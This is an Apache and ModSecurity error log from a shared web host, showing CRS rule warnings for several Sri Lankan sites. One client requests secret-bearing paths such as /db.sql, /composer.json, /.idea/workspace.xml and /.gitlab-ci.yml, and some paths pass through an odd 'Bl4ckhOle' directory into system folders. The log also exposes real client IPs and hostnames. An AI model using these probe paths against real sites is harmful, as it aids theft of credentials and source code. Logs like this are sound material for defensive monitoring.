[Fri Jul 17 10:19:32.533783 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/db.sql"] [unique_id "alm0XFmuKRtYY-VAGIVYiQAAAAk"]
[Fri Jul 17 10:19:32.563081 2026] [security2:error] [pid 2063442:tid 2063442] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0XKTW5eFi1WFCzw0YwwAAABc"]
[Fri Jul 17 10:19:32.977746 2026] [security2:error] [pid 2068143:tid 2068143] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0XFmuKRtYY-VAGIVYiQAAAAk"]
[Fri Jul 17 10:19:33.357322 2026] [ssl:error] [pid 2074597:tid 2074597] (70014)End of file found: [client 66.85.158.91:56462] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:33.359947 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:56474] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:35.657978 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase "/composer.json" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /composer.json found within REQUEST_FILENAME: /composer.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/composer.json"] [unique_id "alm0X4e39YUk0SgV8AVIoAAAABE"]
[Fri Jul 17 10:19:35.658228 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/composer.json"] [unique_id "alm0X4e39YUk0SgV8AVIoAAAABE"]
[Fri Jul 17 10:19:35.790362 2026] [security2:error] [pid 2068138:tid 2068138] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_13.pdf"] [unique_id "alm0Xw4g1d3E329BkvVQsQAAAAE"]
[Fri Jul 17 10:19:35.790888 2026] [security2:error] [pid 2068138:tid 2068138] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_13.pdf"] [unique_id "alm0Xw4g1d3E329BkvVQsQAAAAE"]
[Fri Jul 17 10:19:35.791399 2026] [security2:error] [pid 2068138:tid 2068138] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-03_13.pdf"] [unique_id "alm0Xw4g1d3E329BkvVQsQAAAAE"]
[Fri Jul 17 10:19:36.246609 2026] [security2:error] [pid 2030804:tid 2030804] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0X4e39YUk0SgV8AVIoAAAABE"]
[Fri Jul 17 10:19:36.935854 2026] [mime:warn] [pid 2070774:tid 2070774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:37.695768 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:39.031110 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase ".idea" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .idea found within REQUEST_FILENAME: /.idea/workspace.xml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.idea/workspace.xml"] [unique_id "alm0Y1CBpfuYyhJ140vhXwAAAB4"]
[Fri Jul 17 10:19:39.031366 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.idea/workspace.xml"] [unique_id "alm0Y1CBpfuYyhJ140vhXwAAAB4"]
[Fri Jul 17 10:19:39.459478 2026] [security2:error] [pid 2018768:tid 2018768] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0Y1CBpfuYyhJ140vhXwAAAB4"]
[Fri Jul 17 10:19:39.555741 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. Matched phrase ".gitlab-ci.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .gitlab-ci.yml found within REQUEST_FILENAME: /.gitlab-ci.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.gitlab-ci.yml"] [unique_id "alm0Y3v42nOn2tp5Eua36gAAABA"]
[Fri Jul 17 10:19:39.555986 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jrdcback.ksoft.web.lk"] [uri "/.gitlab-ci.yml"] [unique_id "alm0Y3v42nOn2tp5Eua36gAAABA"]
[Fri Jul 17 10:19:39.778339 2026] [security2:error] [pid 2060590:tid 2060590] [client 84.247.146.115:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jrdcback.ksoft.web.lk"] [uri "/index.php"] [unique_id "alm0Y3v42nOn2tp5Eua36gAAABA"]
[Fri Jul 17 10:19:40.078076 2026] [core:error] [pid 2039911:tid 2039911] (13)Permission denied: [client 47.82.13.36:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/226:0/device/subsystem/rescan
[Fri Jul 17 10:19:40.666281 2026] [security2:error] [pid 2063442:tid 2063442] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "alm0ZKTW5eFi1WFCzw0YyQAAABc"]
[Fri Jul 17 10:19:40.666768 2026] [security2:error] [pid 2063442:tid 2063442] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "alm0ZKTW5eFi1WFCzw0YyQAAABc"]
[Fri Jul 17 10:19:40.666928 2026] [authz_core:error] [pid 2063442:tid 2063442] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/admin/error_log
[Fri Jul 17 10:19:40.667580 2026] [security2:error] [pid 2063442:tid 2063442] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/admin/"] [unique_id "alm0ZKTW5eFi1WFCzw0YyQAAABc"]
[Fri Jul 17 10:19:44.395421 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:60148] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:44.711972 2026] [mime:warn] [pid 2068143:tid 2068143] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:47.622234 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_25.pdf"] [unique_id "alm0a0_0b3nWp8txtSDLkgAAAA0"]
[Fri Jul 17 10:19:47.622572 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_25.pdf"] [unique_id "alm0a0_0b3nWp8txtSDLkgAAAA0"]
[Fri Jul 17 10:19:47.622868 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-08_25.pdf"] [unique_id "alm0a0_0b3nWp8txtSDLkgAAAA0"]
[Fri Jul 17 10:19:48.956628 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-12_26.pdf"] [unique_id "alm0bFWVGD3EZW05fn32ZwAAAAI"]
[Fri Jul 17 10:19:48.956965 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-12_26.pdf"] [unique_id "alm0bFWVGD3EZW05fn32ZwAAAAI"]
[Fri Jul 17 10:19:48.957261 2026] [security2:error] [pid 2063883:tid 2063883] [client 216.244.66.249:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.epid.gov.lk"] [uri "/web/images/pdf/corona_vaccination/covid_vaccination_2021-12_26.pdf"] [unique_id "alm0bFWVGD3EZW05fn32ZwAAAAI"]
[Fri Jul 17 10:19:49.528395 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm0bKTW5eFi1WFCzw0YzQAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1050&page_105=1628
[Fri Jul 17 10:19:49.528446 2026] [security2:error] [pid 2063442:tid 2063442] [client 74.7.242.11:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "www.epid.gov.lk"] [uri "/epid/public/index.php"] [unique_id "alm0bKTW5eFi1WFCzw0YzQAAABc"], referer: https://www.epid.gov.lk/situation-report?filter=2021&page_104=1050&page_105=1628
[Fri Jul 17 10:19:49.812721 2026] [ssl:error] [pid 2047046:tid 2047046] (70014)End of file found: [client 66.85.158.91:60324] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:50.010998 2026] [mime:warn] [pid 2063889:tid 2063889] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:50.012837 2026] [security2:error] [pid 2063889:tid 2063889] [client 47.82.49.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:56/subsystem/tty29/subsystem/tty54/"] [unique_id "alm0bum5CUZD8nfUE72xbwAAAAo"]
[Fri Jul 17 10:19:50.012875 2026] [security2:error] [pid 2063889:tid 2063889] [client 47.82.49.225:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:56/subsystem/tty29/subsystem/tty54/"] [unique_id "alm0bum5CUZD8nfUE72xbwAAAAo"]
[Fri Jul 17 10:19:50.184921 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:50.810523 2026] [ssl:error] [pid 2070774:tid 2070774] (70014)End of file found: [client 66.85.158.91:60372] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:52.929924 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:53.602732 2026] [ssl:error] [pid 2063889:tid 2063889] (70014)End of file found: [client 66.85.158.91:33516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:53.965730 2026] [ssl:error] [pid 2030804:tid 2030804] (70014)End of file found: [client 66.85.158.91:33540] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:54.905390 2026] [ssl:error] [pid 2063442:tid 2063442] (70014)End of file found: [client 66.85.158.91:33576] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:55.214927 2026] [ssl:error] [pid 2065297:tid 2065297] (5)Input/output error: [client 66.85.158.91:33584] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:56.196254 2026] [security2:error] [pid 2074597:tid 2074597] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0dGq_ztYW7KzQ3KOu5wAAAAA"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:19:56.196304 2026] [security2:error] [pid 2074597:tid 2074597] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0dGq_ztYW7KzQ3KOu5wAAAAA"], referer: http://anandaobauae.org/?C=D;O=Auploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 10:19:56.347469 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:56.409426 2026] [mime:warn] [pid 2065293:tid 2065293] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:19:57.282973 2026] [ssl:error] [pid 2068143:tid 2068143] (70014)End of file found: [client 66.85.158.91:33682] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:19:59.838797 2026] [ssl:error] [pid 2068138:tid 2068138] (70014)End of file found: [client 66.85.158.91:33782] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:01.106232 2026] [mime:warn] [pid 2063895:tid 2063895] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 10:20:02.838713 2026] [ssl:error] [pid 2063463:tid 2063463] (70014)End of file found: [client 66.85.158.91:42524] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:04.558711 2026] [ssl:error] [pid 2060590:tid 2060590] (70014)End of file found: [client 66.85.158.91:42578] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:05.173928 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0fdKHXJzatLSGO6Iu9wAAABU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:20:05.174120 2026] [security2:error] [pid 2063441:tid 2063441] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alm0fdKHXJzatLSGO6Iu9wAAABU"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686745495_1xiTrophy.jpg
[Fri Jul 17 10:20:05.858255 2026] [ssl:error] [pid 2063883:tid 2063883] (70014)End of file found: [client 66.85.158.91:42598] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 10:20:06.598262 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "alm0flCBpfuYyhJ140vhbAAAAB4"]
[Fri Jul 17 10:20:06.598636 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.244.66.235:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bostonlanka.com"] [uri "/robots.txt"] [unique_id "alm0flCBpfuYyhJ140vhbAAAAB4"]
